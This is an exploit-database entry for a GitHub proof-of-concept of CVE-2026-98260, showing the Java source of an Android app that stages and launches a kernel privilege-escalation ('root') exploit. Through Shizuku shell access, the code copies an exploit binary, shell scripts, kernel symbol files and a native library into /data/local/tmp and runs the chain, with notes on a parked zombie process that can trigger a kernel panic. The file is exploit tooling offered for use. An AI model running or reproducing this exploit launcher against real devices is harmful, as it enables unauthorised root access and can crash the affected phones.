Exploit database

GH-3bfd767c2c7d1e0db07866f818655dd5

haor/cve-2026-98260-opd2513

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-98260

61 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

upstream/app/src/com/rootcve/cve98260/MainActivity.java

Java · 30,427 bytes
package com.rootcve.cve98260;

import android.app.Activity;
import android.app.AlertDialog;
import android.content.ClipData;
import android.content.ClipboardManager;
import android.content.Context;
import android.content.pm.PackageManager;
import android.content.res.ColorStateList;
import android.graphics.Color;
import android.graphics.Typeface;
import android.graphics.drawable.ColorDrawable;
import android.os.Bundle;
import android.os.IBinder;
import android.os.ParcelFileDescriptor;
import android.view.View;
import android.view.ViewGroup;
import android.view.WindowInsets;
import android.view.WindowInsetsController;
import android.widget.AbsListView;
import android.widget.BaseAdapter;
import android.widget.Button;
import android.widget.LinearLayout;
import android.widget.ListView;
import android.widget.TextView;
import android.widget.Toast;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.nio.charset.StandardCharsets;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.Locale;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicBoolean;

import moe.shizuku.server.IRemoteProcess;
import moe.shizuku.server.IShizukuService;
import rikka.shizuku.Shizuku;
import rikka.shizuku.ShizukuBinderWrapper;

public class MainActivity extends Activity {
    private static final int REQ_SHIZUKU = 1001;
    private static final String WORK = "/data/local/tmp/cveapp";
    private static final String[] ASSETS = {
            "magicroot", "run.sh", "lib.sh", "clean.sh", "root_stage.sh",
            "ko-syms-6.12.38.txt", "ko-syms-6.12.58.txt"
    };

    private static final int MAX_UI_LINES = 600;
    private ListView logList;
    private LogAdapter logAdapter;
    private final ArrayList<String> logLines = new ArrayList<>();
    private Button runButton;
    private Button stageButton;
    private Button cleanButton;
    private Button grantButton;
    private final Shizuku.OnRequestPermissionResultListener permissionListener =
            (request, result) -> log("Shizuku permission result=" + result);

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        // 不保持屏幕常亮:长时间运行时允许系统熄屏,避免 OLED 静态烧屏。
        getWindow().setStatusBarColor(Color.BLACK);
        getWindow().setNavigationBarColor(Color.BLACK);

        LinearLayout root = new LinearLayout(this);
        root.setOrientation(LinearLayout.VERTICAL);
        root.setBackgroundColor(Color.BLACK);
        root.setOnApplyWindowInsetsListener((v, insets) -> {
            android.graphics.Insets bars = insets.getInsets(WindowInsets.Type.systemBars());
            v.setPadding(bars.left + dp(4), bars.top + dp(4),
                    bars.right + dp(4), bars.bottom + dp(4));
            return insets;
        });

        Button grant = new Button(this);
        grant.setText("1. 授权 Shizuku");
        grantButton = grant;
        Button stage = new Button(this);
        stage.setText("2. 部署资产");
        stageButton = stage;
        Button run = new Button(this);
        run.setText("3. 开始提权");
        runButton = run;
        Button clean = new Button(this);
        clean.setText("4. 清理临时文件(可选)");
        cleanButton = clean;
        styleButton(grant);
        styleButton(stage);
        styleButton(run);
        styleButton(clean);

        // ListView 只绘制可见行,避免大 TextView 反复 setText + 平滑滚动产生残影。
        logList = new ListView(this);
        logList.setBackgroundColor(Color.BLACK);
        logList.setCacheColorHint(Color.BLACK);
        logList.setDivider(null);
        logList.setDividerHeight(0);
        logList.setSelector(new ColorDrawable(Color.TRANSPARENT));
        logList.setOverScrollMode(View.OVER_SCROLL_NEVER);
        logList.setSmoothScrollbarEnabled(false);
        logList.setTranscriptMode(ListView.TRANSCRIPT_MODE_NORMAL);
        logAdapter = new LogAdapter();
        logList.setAdapter(logAdapter);

        // 1 授权 / 2 部署;3 开始提权 / 4 清理;导出日志 / 复制日志。
        LinearLayout row1 = new LinearLayout(this);
        row1.setOrientation(LinearLayout.HORIZONTAL);
        LinearLayout row2 = new LinearLayout(this);
        row2.setOrientation(LinearLayout.HORIZONTAL);
        LinearLayout row3 = new LinearLayout(this);
        row3.setOrientation(LinearLayout.HORIZONTAL);
        row1.addView(grant, buttonParams(0));
        row1.addView(stage, buttonParams(dp(4)));
        row2.addView(run, buttonParams(0));
        row2.addView(clean, buttonParams(dp(4)));
        root.addView(row1, new LinearLayout.LayoutParams(
                ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT));
        root.addView(row2, new LinearLayout.LayoutParams(
                ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT));
        Button exportLog = new Button(this);
        exportLog.setText("导出日志");
        styleButton(exportLog);
        Button copyLog = new Button(this);
        copyLog.setText("复制当前日志");
        styleButton(copyLog);
        row3.addView(exportLog, buttonParams(0));
        row3.addView(copyLog, buttonParams(dp(4)));
        root.addView(row3, new LinearLayout.LayoutParams(
                ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT));
        exportLog.setOnClickListener(v -> exportLogToSdcard());
        copyLog.setOnClickListener(v -> copyUiLog());
        root.addView(logList, new LinearLayout.LayoutParams(
                ViewGroup.LayoutParams.MATCH_PARENT, 0, 1f));
        setContentView(root);
        // getWindow().getInsetsController() 在部分 Android 17 上 DecorView 尚未建立会 NPE。
        // 必须在 setContentView 之后通过 DecorView 获取,并保留 null 保护。
        WindowInsetsController controller = getWindow().getDecorView().getWindowInsetsController();
        if (controller != null) {
            controller.setSystemBarsAppearance(0,
                    WindowInsetsController.APPEARANCE_LIGHT_STATUS_BARS
                            | WindowInsetsController.APPEARANCE_LIGHT_NAVIGATION_BARS);
        }
        log("运行时允许熄屏,前台服务持有 PARTIAL_WAKE_LOCK 保持链路");

        Shizuku.addRequestPermissionResultListener(permissionListener);

        grant.setOnClickListener(v -> {
            if (!Shizuku.pingBinder()) {
                log("Shizuku 未运行:请先启动 Shizuku 并完成 ADB 授权");
                return;
            }
            if (Shizuku.checkSelfPermission() == PackageManager.PERMISSION_GRANTED) {
                log("Shizuku 已授权");
            } else {
                Shizuku.requestPermission(REQ_SHIZUKU);
            }
        });

        stage.setOnClickListener(v -> startDeploy());

        run.setOnClickListener(v -> startRun());
        clean.setOnClickListener(v -> new AlertDialog.Builder(this)
                .setTitle("清理临时文件")
                .setMessage("删除 " + WORK + " 内的临时文件。"
                        + "若有漏洞进程/PARKED 标记,脚本会拒绝清理;不要 kill parked launcher。继续?")
                .setPositiveButton("清理", (d, w) -> startClean())
                .setNegativeButton("取消", null)
                .show());
        JobState active = JobState.current();
        if (active != null)
            log("检测到后台任务仍在运行: " + active.describe() + ",控件已锁定");
        applyJobState();
    }

    @Override
    protected void onResume() {
        super.onResume();
        applyJobState();
    }

    @Override
    protected void onDestroy() {
        // 运行中的任务属于进程,不由 Activity 终止。
        Shizuku.removeRequestPermissionResultListener(permissionListener);
        super.onDestroy();
    }

    /** 根据进程级 JobState 恢复按钮状态(Activity 重建时也能看到正在运行的任务)。 */
    private void applyJobState() {
        if (isDestroyed())
            return;
        setControlsEnabled(!JobState.isActive());
    }

    private void setControlsEnabled(boolean enabled) {
        if (grantButton != null) grantButton.setEnabled(enabled);
        if (runButton != null) runButton.setEnabled(enabled);
        if (stageButton != null) stageButton.setEnabled(enabled);
        if (cleanButton != null) cleanButton.setEnabled(enabled);
    }

    private int dp(int value) {
        return Math.round(value * getResources().getDisplayMetrics().density);
    }

    private void styleButton(Button button) {
        button.setTextColor(Color.WHITE);
        button.setBackgroundTintList(ColorStateList.valueOf(0xFF20242B));
        button.setAllCaps(false);
    }

    private LinearLayout.LayoutParams buttonParams(int extraLeft) {
        LinearLayout.LayoutParams lp = new LinearLayout.LayoutParams(
                0, dp(52), 1f);
        lp.setMargins(dp(4) + extraLeft, dp(4), dp(4), dp(4));
        return lp;
    }

    private void startRun() {
        startChain();
    }

    private void startChain() {
        final JobState js = JobState.tryStart(JobState.Kind.RUN);
        if (js == null) {
            log("任务进行中,请等待当前任务结束");
            return;
        }
        startJobKeepAlive();
        setControlsEnabled(false);
        clearUiLines();
        log("开始提权,等待 DONE/FAIL");
        // Each run starts with an empty export file; exports overwrite it.
        new Thread(() -> {
            try {
                shellQuiet(": > /sdcard/MagicRoot.log");
            } catch (Throwable ignored) {
            }
        }, "magic-export-clear").start();
        new Thread(() -> runChain(js), "magic-run").start();
    }

    private void startDeploy() {
        final JobState js = JobState.tryStart(JobState.Kind.DEPLOY);
        if (js == null) {
            log("任务进行中,稍后再部署资产");
            return;
        }
        startJobKeepAlive();
        setControlsEnabled(false);
        new Thread(() -> {
            try {
                log("部署资产到 " + WORK + " ...");
                String pre = shell("mkdir -p " + shellQuote(WORK)
                        + " && echo OK || echo FAIL");
                if (!pre.contains("OK"))
                    throw new IllegalStateException("无法创建工作目录 " + WORK);
                for (String name : ASSETS)
                    stageAsset(name);
                stageNativeSo();
                log("部署完成");
            } catch (Throwable t) {
                log("部署失败: " + t);
            } finally {
                endJob(js);
            }
        }, "magic-deploy").start();
    }

    /** 删除工作目录;正在运行的漏洞进程不能结束,否则僵尸回收会触发内核 panic。 */
    private void startClean() {
        final JobState js = JobState.tryStart(JobState.Kind.CLEAN);
        if (js == null) {
            log("任务进行中,稍后再清理");
            return;
        }
        startJobKeepAlive();
        setControlsEnabled(false);
        new Thread(() -> {
            try {
                log("清理中...");
                String d = shellQuote(WORK);
                String fallback = "rm -rf " + d
                        + " /data/local/tmp/root_stage.sh; "
                        + "echo CLEAN_OK";
                String cmd = "if [ -f " + shellQuote(WORK + "/clean.sh")
                        + " ]; then sh " + shellQuote(WORK + "/clean.sh")
                        + "; else " + fallback + "; fi";
                log(shell(cmd));
            } catch (Throwable t) {
                log("清理失败: " + t);
            } finally {
                endJob(js);
            }
        }, "magic-clean").start();
    }

    private void startJobKeepAlive() {
        try {
            JobService.start(this);
        } catch (Throwable t) {
            log("前台保活服务启动失败: " + t);
        }
    }

    /** 任务线程的统一收尾:停前台服务、清 JobState、恢复按钮。 */
    private void endJob(JobState js) {
        // 先停服务再释放 JobState:释放后新的任务可能立刻启动并 startForegroundService,
        // 若此时才执行旧的 stopService 会把新任务的服务停掉。
        try {
            JobService.stop(this);
        } catch (Throwable ignored) {
        }
        if (js != null)
            js.finish();
        runOnUiThread(() -> {
            if (!isDestroyed())
                applyJobState();
        });
    }

    private void runChain(JobState js) {
        try {
            String check = shell("test -f " + shellQuote(WORK + "/run.sh")
                    + " && echo OK || echo MISSING");
            if (!check.contains("OK")) {
                log("工作目录缺少 run.sh,请先点「2. 部署资产」");
                return;
            }
            String so = magicSoPath();
            String soCheck = shell("test -r " + shellQuote(so)
                    + " && echo OK || echo MISSING");
            if (!soCheck.contains("OK")) {
                String fb = WORK + "/libmagicroot.so";
                String fbCheck = shell("test -r " + shellQuote(fb)
                        + " && echo OK || echo MISSING");
                if (fbCheck.contains("OK"))
                    so = fb;
                else {
                    log("缺少 native 库 " + so + ",请重新打包/安装 APK 后部署");
                    return;
                }
            }
            String cmd = "cd " + shellQuote(WORK) + " || exit 9; "
                    + "sh run.sh " + shellQuote(so) + " 2>&1";
            Process p = shellProcess(cmd);
            boolean done = false, failed = false, parked = false;
            try (BufferedReader r = new BufferedReader(
                    new InputStreamReader(p.getInputStream(), "UTF-8"))) {
                String line;
                while ((line = r.readLine()) != null) {
                    if (line.equals("DONE"))
                        done = true;
                    if (line.equals("PARKED=1"))
                        parked = true;
                    if (line.startsWith("FAIL="))
                        failed = true;
                    appendRunLine(line);
                }
            }
            int rc = p.waitFor();
            if (done && rc == 0 && !failed) {
                if (parked)
                    log("提权完成,但 launcher 保留了 zombie(PARKED=1);"
                            + "禁止清理/再次运行;重启可能触发内核 panic");
                else
                    log("提权完成");
            } else if (parked) {
                log("提权失败,且 launcher 保留了 zombie(PARKED=1);"
                        + "禁止清理/再次运行;重启可能触发内核 panic");
            } else {
                log("提权失败" + (failed ? "(run.sh 报告 FAIL)" : " rc=" + rc));
            }
        } catch (Throwable t) {
            log("执行失败: " + t);
        } finally {
            endJob(js);
        }
    }

    private void appendRunLine(String line) {
        runOnUiThread(() -> {
            if (!isDestroyed())
                appendUiLine(line);
        });
    }

    private void stageAsset(String name) throws Exception {
        try (InputStream in = getAssets().open(name)) {
            stageStream(in, WORK + "/" + name, name, "755", -1);
        }
    }

    /**
     * 把流写到远端文件,校验 cat/chmod 退出码和实际字节数后才返回。
     * 不再用 `|| true` 掩盖 chmod 失败,避免部署“成功”但脚本不可执行。
     */
    private long stageStream(InputStream in, String dst, String label, String mode,
                             long expectedBytes) throws Exception {
        // A parked exploit may still be executing dst (ETXTBSY on overwrite).
        // Write a temp file and rename over it; rename swaps the directory
        // entry and the running process keeps the old inode.
        String tmp = dst + ".tmp." + Long.toHexString(System.nanoTime());
        long total = 0;
        Process p = shellProcess("cat > " + shellQuote(tmp));
        try {
            try (OutputStream out = p.getOutputStream()) {
                byte[] buf = new byte[65536];
                int n;
                while ((n = in.read(buf)) > 0) {
                    out.write(buf, 0, n);
                    total += n;
                }
                out.flush();
            }
            int rc = p.waitFor();
            if (rc != 0)
                throw new IllegalStateException(label + " cat rc=" + rc);
        } catch (Throwable t) {
            try {
                p.destroy();
            } catch (Throwable ignored) {
            }
            try {
                shell("rm -f " + shellQuote(tmp));
            } catch (Throwable ignored) {
            }
            throw t;
        }
        if (expectedBytes >= 0 && total != expectedBytes) {
            try {
                shell("rm -f " + shellQuote(tmp));
            } catch (Throwable ignored) {
            }
            throw new IllegalStateException(label + " 读取不完整 read=" + total
                    + " expected=" + expectedBytes);
        }
        String verify = shell("chmod " + mode + " " + shellQuote(tmp)
                + " 2>&1; rc=$?; sz=$(stat -c %s " + shellQuote(tmp)
                + " 2>&1); echo CHMOD_RC=$rc; echo SIZE=$sz");
        int chmodRc = -1;
        long written = -1;
        for (String line : verify.split("\n")) {
            line = line.trim();
            if (line.startsWith("CHMOD_RC=")) {
                try {
                    chmodRc = Integer.parseInt(line.substring(9).trim());
                } catch (Throwable ignored) {
                }
            } else if (line.startsWith("SIZE=")) {
                try {
                    written = Long.parseLong(line.substring(5).trim());
                } catch (Throwable ignored) {
                }
            }
        }
        if (chmodRc != 0 || written != total) {
            try {
                shell("rm -f " + shellQuote(tmp));
            } catch (Throwable ignored) {
            }
            if (chmodRc != 0)
                throw new IllegalStateException(label + " chmod rc=" + chmodRc);
            throw new IllegalStateException(label + " 写入不完整 read=" + total
                    + " written=" + written);
        }
        String mv = shell("mv -f " + shellQuote(tmp) + " " + shellQuote(dst)
                + " 2>&1; echo MV_RC=$?");
        if (!mv.contains("MV_RC=0")) {
            try {
                shell("rm -f " + shellQuote(tmp));
            } catch (Throwable ignored) {
            }
            throw new IllegalStateException(label + " rename failed");
        }
        log("  " + label + " (" + total + " B)");
        return total;
    }

    private String magicSoPath() {
        try {
            String dir = getApplicationInfo().nativeLibraryDir;
            if (dir != null && !dir.isEmpty()) {
                File f = new File(dir, "libmagicroot.so");
                if (f.isFile())
                    return f.getAbsolutePath();
            }
        } catch (Throwable t) {
            log("nativeLibraryDir: " + t);
        }
        return WORK + "/libmagicroot.so";
    }

    private static String shellQuote(String s) {
        return "'" + s.replace("'", "'\\''") + "'";
    }

    /* 兜底:App 自己能读 nativeLibraryDir,把 .so 也复制一份到 shell 可执行的
     * /data/local/tmp/cveapp;若 shell 域不能直接映射 apk_data_file,run.sh 会改用它。 */
    private void stageNativeSo() throws Exception {
        String dir = getApplicationInfo().nativeLibraryDir;
        if (dir == null || dir.isEmpty())
            throw new IllegalStateException("nativeLibraryDir 不可用,无法部署 libmagicroot.so");
        File src = new File(dir, "libmagicroot.so");
        if (!src.isFile())
            throw new IllegalStateException(
                    "未找到 " + src + ",请重新安装 APK 后重试");
        try (InputStream in = new FileInputStream(src)) {
            stageStream(in, WORK + "/libmagicroot.so", "libmagicroot.so",
                    "755", src.length());
        }
    }

    private String shell(String cmd) throws Exception {
        return shellCommand(cmd, true, false);
    }

    /** 轮询/后台检查用:权限不足时直接失败,绝不触发授权弹窗。 */
    private String shellQuiet(String cmd) throws Exception {
        return shellCommand(cmd, false, true);
    }

    private String shellCommand(String cmd, boolean allowPermissionRequest,
                                boolean quiet) throws Exception {
        Process p = shellProcess(cmd, allowPermissionRequest, quiet);
        StringBuilder sb = new StringBuilder();
        try (BufferedReader r = new BufferedReader(
                new InputStreamReader(p.getInputStream(), "UTF-8"))) {
            String line;
            while ((line = r.readLine()) != null)
                sb.append(line).append('\n');
        }
        p.waitFor();
        return sb.toString();
    }

    private Process shellProcess(String cmd) throws Exception {
        return shellProcess(cmd, true, false);
    }

    private Process shellProcess(String cmd, boolean allowPermissionRequest,
                                 boolean quiet) throws Exception {
        IBinder binder = Shizuku.getBinder();
        if (binder == null || !binder.pingBinder())
            throw new IllegalStateException("Shizuku 不可用");
        IShizukuService service = IShizukuService.Stub.asInterface(new ShizukuBinderWrapper(binder));
        IRemoteProcess remote = service.newProcess(
                new String[]{"sh", "-c", cmd},
                new String[]{"PATH=/system/bin:/system/xbin:/data/adb/ksu/bin",
                        "HOME=/data/local/tmp", "TMPDIR=/data/local/tmp"},
                "/data/local/tmp");
        if (remote == null)
            throw new IllegalStateException("Shizuku 拒绝启动 shell");
        return new RemoteProcess(remote);
    }

    private void log(String s) {
        String line = "[" + new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.SSS", Locale.US)
                .format(new Date()) + "] " + s;
        logRaw(line);
    }

    /** 原生工具已经带时间戳的输出原样落日志,避免出现双重时间戳。 */
    private void logRaw(String line) {
        if (line == null || line.isEmpty())
            return;
        runOnUiThread(() -> {
            if (!isDestroyed())
                appendUiLine(line);
        });
    }

    /** Export the current visible log to /sdcard/MagicRoot.log (overwrite). */
    private void exportLogToSdcard() {
        StringBuilder sb = new StringBuilder();
        synchronized (logLines) {
            for (String line : logLines)
                sb.append(line).append('\n');
        }
        final byte[] data = sb.toString().getBytes(StandardCharsets.UTF_8);
        new Thread(() -> {
            try {
                Process p = shellProcess("cat > /sdcard/MagicRoot.log");
                try (OutputStream out = p.getOutputStream()) {
                    out.write(data);
                    out.flush();
                }
                int rc = p.waitFor();
                log(rc == 0 ? "已导出日志到 /sdcard/MagicRoot.log"
                        : "导出日志失败 rc=" + rc);
            } catch (Throwable t) {
                log("导出日志失败: " + t);
            }
        }, "magic-export").start();
    }

    /** 复制当前列表里的完整可见日志;逐行选择复制由 TextView 的文本选择处理。 */
    private void copyUiLog() {
        if (logLines.isEmpty()) {
            Toast.makeText(this, "当前日志为空", Toast.LENGTH_SHORT).show();
            return;
        }
        StringBuilder sb = new StringBuilder();
        for (String line : logLines)
            sb.append(line).append('\n');
        ClipboardManager cm = (ClipboardManager) getSystemService(Context.CLIPBOARD_SERVICE);
        if (cm == null) {
            Toast.makeText(this, "剪贴板不可用", Toast.LENGTH_SHORT).show();
            return;
        }
        cm.setPrimaryClip(ClipData.newPlainText("CVE-2026-98260 log", sb.toString()));
        Toast.makeText(this, "已复制 " + logLines.size() + " 行日志", Toast.LENGTH_SHORT).show();
    }

    private void appendUiLine(String line) {
        logLines.add(line);
        trimUiLines();
        logAdapter.notifyDataSetChanged();
        logList.setSelection(logLines.size() - 1);
    }

    private void clearUiLines() {
        logLines.clear();
        logAdapter.notifyDataSetChanged();
    }

    private void trimUiLines() {
        int excess = logLines.size() - MAX_UI_LINES;
        if (excess > 0)
            logLines.subList(0, excess).clear();
    }

    /** 复用 ListView 的 convertView;每行独立 TextView,滚动时不会整块重绘。 */
    private final class LogAdapter extends BaseAdapter {
        @Override public int getCount() { return logLines.size(); }

        @Override public Object getItem(int position) { return logLines.get(position); }

        @Override public long getItemId(int position) { return position; }

        @Override public View getView(int position, View convertView, ViewGroup parent) {
            TextView tv;
            if (convertView instanceof TextView) {
                tv = (TextView) convertView;
            } else {
                tv = new TextView(MainActivity.this);
                tv.setTextSize(12f);
                tv.setTextColor(0xFFD6E2F0);
                tv.setTypeface(Typeface.MONOSPACE);
                tv.setBackgroundColor(Color.BLACK);
                tv.setIncludeFontPadding(false);
                tv.setPadding(dp(10), dp(1), dp(10), dp(1));
                // 长按可选中并复制单行;整段复制走上面的「复制当前日志」按钮。
                tv.setTextIsSelectable(true);
                tv.setLayoutParams(new AbsListView.LayoutParams(
                        ViewGroup.LayoutParams.MATCH_PARENT,
                        ViewGroup.LayoutParams.WRAP_CONTENT));
            }
            tv.setText(logLines.get(position));
            return tv;
        }
    }

    /**
     * Shizuku 的 IRemoteProcess 包装。
     *
     * <p>旧实现把 waitFor()/waitFor(timeout)/exitValue() 都加了 synchronized,
     * 于是主线程的定时 waitFor 会卡在正阻塞在 remote.waitFor() 的守护线程持有的
     * monitor 上。这里改成一个后台 waiter + CountDownLatch:remote.waitFor() 只
     * 被调用一次,其他线程只等 latch,绝不会出现两个阻塞 waitFor 互相卡死。</p>
     */
    private static final class RemoteProcess extends Process {
        private final IRemoteProcess remote;
        private final CountDownLatch exitLatch = new CountDownLatch(1);
        private final AtomicBoolean waiterStarted = new AtomicBoolean(false);
        private OutputStream stdin;
        private InputStream stdout;
        private volatile int exitCode;
        private volatile boolean hasExit;
        private volatile Throwable waitError;

        RemoteProcess(IRemoteProcess remote) {
            this.remote = remote;
        }

        private void ensureWaiter() {
            if (!waiterStarted.compareAndSet(false, true))
                return;
            Thread t = new Thread(() -> {
                try {
                    exitCode = remote.waitFor();
                    hasExit = true;
                } catch (Throwable e) {
                    waitError = e;
                } finally {
                    exitLatch.countDown();
                }
            }, "remote-process-wait");
            t.setDaemon(true);
            t.start();
        }

        @Override public synchronized OutputStream getOutputStream() {
            if (stdin == null) {
                try {
                    stdin = new ParcelFileDescriptor.AutoCloseOutputStream(remote.getOutputStream());
                } catch (Throwable t) { throw new RuntimeException("stdin", t); }
            }
            return stdin;
        }

        @Override public synchronized InputStream getInputStream() {
            if (stdout == null) {
                try {
                    stdout = new ParcelFileDescriptor.AutoCloseInputStream(remote.getInputStream());
                } catch (Throwable t) { throw new RuntimeException("stdout", t); }
            }
            return stdout;
        }

        @Override public synchronized InputStream getErrorStream() {
            try {
                return new ParcelFileDescriptor.AutoCloseInputStream(remote.getErrorStream());
            } catch (Throwable t) { throw new RuntimeException("stderr", t); }
        }

        @Override public int waitFor() throws InterruptedException {
            ensureWaiter();
            exitLatch.await();
            Throwable err = waitError;
            if (err != null)
                throw new RuntimeException("waitFor", err);
            return exitCode;
        }

        @Override public boolean waitFor(long timeout, TimeUnit unit)
                throws InterruptedException {
            ensureWaiter();
            return exitLatch.await(timeout, unit);
        }

        @Override public int exitValue() {
            if (hasExit)
                return exitCode;
            try {
                int code = remote.exitValue();
                exitCode = code;
                hasExit = true;
                return code;
            } catch (Throwable t) {
                throw new IllegalThreadStateException("process has not exited");
            }
        }

        @Override public void destroy() {
            try { remote.destroy(); } catch (Throwable ignored) { }
        }
    }
}